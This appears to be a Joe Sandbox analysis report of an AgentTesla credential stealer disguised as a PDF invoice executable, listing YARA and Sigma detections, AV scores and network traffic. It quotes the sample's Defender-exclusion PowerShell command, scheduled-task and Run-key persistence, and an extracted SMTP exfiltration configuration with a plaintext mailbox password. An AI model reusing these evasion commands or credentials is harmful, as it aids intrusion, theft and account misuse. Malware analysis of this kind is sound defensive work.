10.2.eeBIYZL.exe.3fe9420.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33afe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6e91e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33b70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6e990:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33bfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ea1a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33c8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6eaac:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33cf6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6eb16:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33d68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6eb88:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33dfe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ec1e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33e8e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6ecae:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0.2.SOA FOR APR 2024 PDF.exe.48bb2a8.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33afe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6eb1e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa993e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33b70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6eb90:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa99b0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33bfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ec1a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa9a3a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33c8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6ecac:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa9acc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33cf6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6ed16:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa9b36:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33d68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6ed88:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa9ba8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33dfe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ee1e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa9c3e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
21.2.BjTxJte.exe.4637330.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
21.2.BjTxJte.exe.4637330.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
21.2.BjTxJte.exe.4637330.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33afe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6e91e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33b70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6e990:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33bfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ea1a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33c8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6eaac:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33cf6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6eb16:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33d68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6eb88:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33dfe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ec1e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x33e8e:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548 0x6ecae:$s8: 3C886FF3-2669-4AA2-A8FB-3F6759A77548
10.2.eeBIYZL.exe.3fae400.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
10.2.eeBIYZL.exe.3fae400.2.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
10.2.eeBIYZL.exe.3fae400.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33afe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6eb1e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa993e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33b70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6eb90:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa99b0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33bfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ec1a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa9a3a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33c8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6ecac:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa9acc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33cf6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6ed16:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa9b36:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33d68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6ed88:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa9ba8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33dfe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ee1e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa9c3e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
21.2.BjTxJte.exe.45fc310.7.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
21.2.BjTxJte.exe.45fc310.7.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
21.2.BjTxJte.exe.45fc310.7.raw.unpack	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID	Detects executables referencing Windows vault credential objects. Observed in infostealers	ditekSHen	0x33afe:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x6eb1e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0xa993e:$s1: 2F1A6504-0641-44CF-8BB5-3612D865F2E5 0x33b70:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x6eb90:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0xa99b0:$s2: 3CCD5499-87A8-4B10-A215-608888DD3B55 0x33bfa:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x6ec1a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0xa9a3a:$s3: 154E23D0-C644-4E6F-8CE6-5069272F999F 0x33c8c:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x6ecac:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0xa9acc:$s4: 4BF4C442-9B8A-41A0-B380-DD4A704DDB28 0x33cf6:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x6ed16:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0xa9b36:$s5: 77BC582B-F0A6-4E15-4E80-61736B6F3B29 0x33d68:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x6ed88:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0xa9ba8:$s6: E69D7838-91B5-4FC9-89D5-230D4D4CC2BC 0x33dfe:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0x6ee1e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B 0xa9c3e:$s7: 3E0E35BE-1B77-43E7-B873-AED901B6275B
Click to see the 47 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe", ParentImage: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe, ParentProcessId: 1988, ParentProcessName: SOA FOR APR 2024 PDF.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe", ProcessId: 4296, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe, ProcessId: 7384, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BjTxJte

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpE2E4.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpE2E4.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\eeBIYZL.exe, ParentImage: C:\Users\user\AppData\Roaming\eeBIYZL.exe, ParentProcessId: 7512, ParentProcessName: eeBIYZL.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpE2E4.tmp", ProcessId: 7736, ProcessName: schtasks.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 50.87.195.61, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe, Initiated: true, ProcessId: 7384, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpCB26.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpCB26.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe", ParentImage: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe, ParentProcessId: 1988, ParentProcessName: SOA FOR APR 2024 PDF.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpCB26.tmp", ProcessId: 7200, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe", CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe", ParentImage: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe, ParentProcessId: 1988, ParentProcessName: SOA FOR APR 2024 PDF.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe", ProcessId: 4296, ProcessName: powershell.exe

Persistence and Installation Behavior

Sigma detected: Scheduled temp file as task from temp location

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpCB26.tmp", CommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpCB26.tmp", CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe", ParentImage: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe, ParentProcessId: 1988, ParentProcessName: SOA FOR APR 2024 PDF.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\eeBIYZL" /XML "C:\Users\user\AppData\Local\Temp\tmpCB26.tmp", ProcessId: 7200, ProcessName: schtasks.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 21.2.BjTxJte.exe.45fc310.7.raw.unpack

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Port": "587", "Host": "mail.fascia-arch.com", "Username": "brian@fascia-arch.com", "Password": "HERbertstown1987"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Virustotal: Detection: 52%	Perma Link
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Virustotal: Detection: 52%	Perma Link

Multi AV Scanner detection for submitted file

Source: SOA FOR APR 2024 PDF.exe	ReversingLabs: Detection: 44%
Source: SOA FOR APR 2024 PDF.exe	Virustotal: Detection: 52%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SOA FOR APR 2024 PDF.exe

Joe Sandbox ML: detected

Source: SOA FOR APR 2024 PDF.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.12.205:443 -> 192.168.2.5:49723 version: TLS 1.2

Source: SOA FOR APR 2024 PDF.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Code function: 4x nop then jmp 0D3B12B4h	0_2_0D3B0CC4
Source: C:\Users\user\AppData\Roaming\eeBIYZL.exe	Code function: 4x nop then jmp 08720CACh	10_2_087206BC
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 4x nop then jmp 0D8B0CACh	15_2_0D8B06BC
Source: C:\Users\user\AppData\Roaming\BjTxJte\BjTxJte.exe	Code function: 4x nop then jmp 0D1A0CACh	21_2_0D1A06BC

Source: global traffic

TCP traffic: 192.168.2.5:49711 -> 50.87.195.61:587

Source: Joe Sandbox View

IP Address: 104.26.12.205 104.26.12.205

Source: Joe Sandbox View

ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: global traffic

TCP traffic: 192.168.2.5:49711 -> 50.87.195.61:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0Host: api.ipify.orgConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: mail.fascia-arch.com

Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000288C000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.00000000028B4000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000296A000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EAC000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000351E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.00000000034FC000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.00000000035C4000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.000000000323C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mail.fascia-arch.com
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3326899826.0000000006497000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3275075106.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3358769112.0000000008990000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.00000000028B4000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000296A000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002894000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3276901832.00000000016BD000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000351E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006AA9000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.0000000003504000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.00000000035C4000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3276901832.00000000016CF000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3278778403.0000000001751000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3278778403.0000000001713000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.0000000003244000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3326899826.0000000006497000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3275075106.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3358769112.0000000008990000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.00000000028B4000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000296A000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002894000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3276901832.00000000016BD000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000351E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006AA9000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.0000000003504000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.00000000035C4000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3276901832.00000000016CF000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3278778403.0000000001751000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3278778403.0000000001713000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.0000000003244000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: SOA FOR APR 2024 PDF.exe, 00000000.00000002.2070759087.0000000002DEF000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000000.00000002.2070759087.0000000002BC1000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002811000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000A.00000002.2129650041.00000000025A1000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002E11000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 0000000F.00000002.2226704866.0000000002EF1000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 0000000F.00000002.2226704866.000000000311F000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000348C000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000015.00000002.2310538046.0000000002919000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000015.00000002.2310538046.0000000002B32000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.00000000031C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: SOA FOR APR 2024 PDF.exe, 00000009.00000002.3326899826.0000000006497000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3275075106.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.00000000028B4000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.000000000296A000.00000004.00000800.00020000.00000000.sdmp, SOA FOR APR 2024 PDF.exe, 00000009.00000002.3282089409.0000000002894000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000F76000.00000004.00000020.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3282284281.0000000002EB4000.00000004.00000800.00020000.00000000.sdmp, eeBIYZL.exe, 0000000E.00000002.3275604629.0000000000FB7000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006A5C000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.000000000351E000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3326328315.0000000006AA9000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.0000000003504000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3285357778.00000000035C4000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000014.00000002.3276901832.00000000016CF000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3278778403.0000000001713000.00000004.00000020.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3283970574.0000000003244000.00000004.00000800.00020000.00000000.sdmp, BjTxJte.exe, 00000018.00000002.3322622943.00000000066A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
